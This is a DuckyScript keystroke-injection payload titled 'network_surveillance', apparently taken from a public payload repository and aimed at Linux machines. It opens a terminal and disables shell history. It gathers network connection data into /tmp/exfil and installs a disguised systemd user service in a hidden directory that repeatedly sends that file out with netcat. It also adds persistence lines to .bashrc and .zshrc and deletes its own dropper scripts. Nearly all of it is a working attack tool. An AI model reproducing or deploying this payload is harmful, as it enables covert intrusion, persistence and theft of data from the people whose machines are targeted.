mirror of https://github.com/hak5/omg-payloads.git
23 lines
1.6 KiB
Plaintext
23 lines
1.6 KiB
Plaintext
REM Title: network_surveillance
|
|
REM Description: network_surveillance payload exfiltrates network connections, routing tables, interface statistics, masquerade connections, and multicast memberships.
|
|
REM AUTHOR: drapl0n
|
|
REM Version: 1.0
|
|
REM Category: Exfiltration.
|
|
REM Target: GNU/Linux.
|
|
REM Attackmodes: HID.
|
|
|
|
DELAY 2000
|
|
CTRL ALT t
|
|
DELAY 1000
|
|
STRING unset HISTFILE
|
|
ENTER
|
|
DELAY 200
|
|
STRING echo -e "#\!/bin/bash\nmkdir -p ~/.config/systemd/user\nmkdir -p /var/tmp/.system\nnetstat -antup >> /tmp/exfil\nnetstat -nlp >> /tmp/exfil\necho -e \"while :\\\ndo\\\n\\\tping -c 5 127.0.0.1\\\n\\\tif [ \\\$? -eq 0 ]; then\\\n\\\t\\\tnc -c 127.0.0.1 4444 < /tmp/exfil\\\n\\\tfi\\\ndone\" > /var/tmp/.system/systemBus\nchmod +x /var/tmp/.system/systemBus\necho -e \"[Unit]\\\nDescription= System BUS handler\\\n\\\n[Service]\\\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\\\nRestart=on-failure\\\nSuccessExitStatus=3 4\\\nRestartForceExitStatus=3 4\\\n\\\n[Install]\\\nWantedBy=default.target\" > ~/.config/systemd/user/systemBUS.service\nsystemctl --user enable --now systemBUS.service\nsystemctl --user start --now systemBUS.service\necho -e \"ls -a ~/ | grep 'zshrc' &> /dev/null\\\nif [ \\\$? = 0 ]; then\\\n\\\techo \"systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\\\nfi\\\nls -a ~/ | grep 'bashrc' &> /dev/null\\\nif [ \\\$? = 0 ]; then\\\n\\\techo \"systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\\\nfi\" > /tmp/tmmmp\nchmod +x /tmp/tmmmp && /tmp/./tmmmp && rm /tmp/tmmmp" > /tmp/system
|
|
ENTER
|
|
DELAY 200
|
|
STRING chmod +x /tmp/system
|
|
ENTER
|
|
DELAY 200
|
|
STRING /tmp/./system && rm /tmp/system && exit
|
|
ENTER
|